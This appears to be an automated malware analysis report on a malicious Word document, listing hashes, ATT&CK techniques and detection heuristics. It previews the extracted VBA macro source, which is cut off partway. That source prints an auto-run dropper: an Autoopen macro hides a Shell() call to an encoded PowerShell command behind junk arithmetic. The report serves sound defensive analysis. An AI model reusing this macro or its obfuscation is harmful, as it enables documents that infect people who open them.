Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3fe4a0cf580b9f01…

MALICIOUS

Office (OLE)

90.2 KB Created: 2018-06-07 12:26:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 20540164d77826b49c592a032d468266 SHA-1: 0f34e8cc1e0c5c521acfae54b4ce1690056980f4 SHA-256: 3fe4a0cf580b9f012fb8286b94085c6d7931ba9bc27415db262fa99c0dbce9d0
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Autoopen macro triggers a Shell() call, which is used to execute a PowerShell command. This command appears to be obfuscated but is likely responsible for downloading and executing a second-stage payload, as indicated by the ClamAV detection name 'Doc.Dropper.Agent-6576074-0'.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6576074-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6576074-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11386 bytes
SHA-256: 181f1e249dd5ce3a686cbc16ac78e3ea3db94ed2214f2f868c8b53b1d0b9a6dd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jfDdqsXsdXo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function jlwJAziWcb()
On Error Resume Next
qZqsO = Tan(stSIvV _
* Tan(jdwLP * Int(HnwPM * Sqr(61352) / EmzWss + Fix(5080)) / 87286 * Round(56512 / Log(50235 - ospcr) + 46076 - fAvPkf)) _
/ 54400 + Log(85866))
CZsJdM = Tan(uFvwPC _
* Tan(jFDwW * Int(Pivac * Sqr(63621) / moCSuz + Fix(12489)) / 99896 * Round(37965 / Log(71691 - YcMuX) + 90852 - XchPJj)) _
/ 67186 + Log(11538))
jlwJAziWcb = oZXhEc + Shell(LKPusqJb + Chr(aYzuzRL + vbKeyP + IUYYatawUq) + JKCNDJlzsp + IuQFUM + jqJopXY + uOtlJaBDODa + iwvaiZtZj + tRhYYczZ, 20081 - 20081)
XXdRh = Tan(juFDdB _
* Tan(wTMUn * Int(tKUHA * Sqr(96915) / EwXiW + Fix(67475)) / 77772 * Round(57876 / Log(67745 - qTjcvR) + 79026 - RaHjN)) _
/ 4820 + Log(79445))
End Function
Sub Autoopen()
On Error Resume Next
LMLDPc = Tan(briWb _
* Tan(uNlNrW * Int(Dvzsf * Sqr(77027) / YwXkVp + Fix(55196)) / 45806 * Round(53944 / Log(36388 - MNAHkN) + 91013 - mWNVT)) _
/ 43634 + Log(61529))
jlwJAziWcb
pPOSYb = Tan(vcUwBm _
* Tan(XlShi * Int(AvKkz * Sqr(33457) / NKdEN + Fix(78878)) / 1890 * Round(75580 / Log(15053 - AIkTE) + 59883 - Otbiz)) _
/ 54134 + Log(4961))
End Sub



Attribute VB_Name = "rWntFdUGajkz"
Function JKCNDJlzsp()
On Error Resume Next
lEiUzp = Tan(zZDArn _
* Tan(QGkCp * Int(FJaBJE * Sqr(99457) / RHwtv + Fix(41020)) / 10897 * Round(89909 / Log(70568 - IOchT) + 97786 - FzkVS)) _
/ 59648 + Log(1461))
jHpJLW = "owe" + "rsHeLL -e" + " IAAmACAAKA" + "AgACQAUw"
kZcdj = Tan(vppiR _
* Tan(GvSQV * Int(jtaDY * Sqr(81818) / zDGPhz + Fix(55737)) / 91797 * Round(60964 / Log(22288 - dQEoNZ) + 75428 - CszKfT)) _
/ 1243 + Log(92924))
loqikJon = "BoAEUATA" + "BMA" + "Gk" + "AZABbADEAXQArA" + "CQAUwB" + "IAGU" + "AbABMAEkAZABbAD" + "EAMwBdAC" + "sAJwBYACcAK" + "QA"
GnjAlB = Tan(IpZHio _
* Tan(ajWmE * Int(ujAQZ * Sqr(77764) / zsawhC + Fix(64807)) / 78604 * Round(84349 / Log(59857 - sPVjYz) + 60120 - OhWbI)) _
/ 63159 + Log(92711))
WuQMwm = "gACgA" + "bgBFAHcALQ" + "BPAEIASgBFA" + "GMAdAAgAE" + "kATwAuAEMA" + "bwBt" + "AFAA"
AanPaz = Tan(iQOda _
* Tan(GViEbu * Int(wOIAlJ * Sqr(50825) / dRRPk + Fix(46946)) / 63758 * Round(27879 / Log(8708 - UvzmQ) + 19063 - EkHLo)) _
/ 43895 + Log(64354))
QctadQz = "UgB" + "FAFMA" + "UwBp" + "AG8ATgAuAEQAZQB"
GimSmi = Tan(WPFzw _
* Tan(pHZHi * Int(GzsJzw * Sqr(58563) / YSqouk + Fix(55875)) / 57779 * Round(81189 / Log(90119 - RlCYhj) + 32986 - HOdiE)) _
/ 18669 + Log(64964))
RtzlRYNbAq = "GAGwAYQBU" + "AEUAcwBUAFIAR" + "QBhAE0A" + "KABbAHMA" + "eQBTAHQAR" + "QBNAC4" + "ASQBPAC4ATQBlAE"
mOYoTI = Tan(sDYQEL _
* Tan(LRiLMD * Int(bKcjk * Sqr(43696) / vkmfM + Fix(19319)) / 81853 * Round(29680 / Log(33910 - cJnJU) + 17128 - MBWCL)) _
/ 7655 + Log(86428))
jMrmqcLYSBv = "0A" + "TwByAHkA" + "cw" + "BUAFIAZQBhAE0AX"
JKCNDJlzsp = jHpJLW + loqikJon + WuQMwm + QctadQz + RtzlRYNbAq + jMrmqcLYSBv
End Function
Function IuQFUM()
On Error Resume Next
dWLDvH = Tan(lizTll _
* Tan(BuwzXi * Int(QuGBM * Sqr(39550) / AQkjti + Fix(66547)) / 76685 * Round(60285 / Log(22026 - ztYJM) + 2293 - iTzbF)) _
/ 23332 + Log(61797))
UXJzn = "QBbAHMAW" + "QBzAFQA" + "RQBNAC4" + "AQwBPAE4AdgB" + "lAHI" + "AVABd" + "ADoAOgBGAHIAbw" + "BtAEI"
uNbEC = Tan(mAlONm _
* Tan(DJNPld * Int(piGhF * Sqr(59113) / AjYKXA + Fix(68428)) / 76570 * Round(39922 / Log(23564 - JmMtmv) + 99340 - ibJlL)) _
/ 40230 + Log(65859))
CLOjK = "AYQBzAEUANgA0" + "AHMAdABSAGkAT" + "gBnACg" + "AIAAnAFYA" + "WgBC" + "AGgAYQA" + "4AEkAdwBFAEk" + "AYgAvAFMAagA0A"
UPHtw = Tan(BmQME _
* Tan(mIPpBo * Int(rMwrLi * Sqr(83134) / HqzMpp + Fix(86571)) / 28246 * Round(46943 / Log(26061 - bllZc) + 51436 - KbWLUk)) _
/ 44862 + Log(86657))
GuwPzsEcI = "FUAMgBqAEoAT" + "gBjAFkATw" + "A1AFcAUQB" + "iA" + "HEANwB"
uYXvLH = Tan(uvTzO _
* Tan(ttrbjM * Int(GmTRUX * Sqr(29777) / vVMpww + Fix(96909)) / 80535 * Round(1750 / Log(34
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.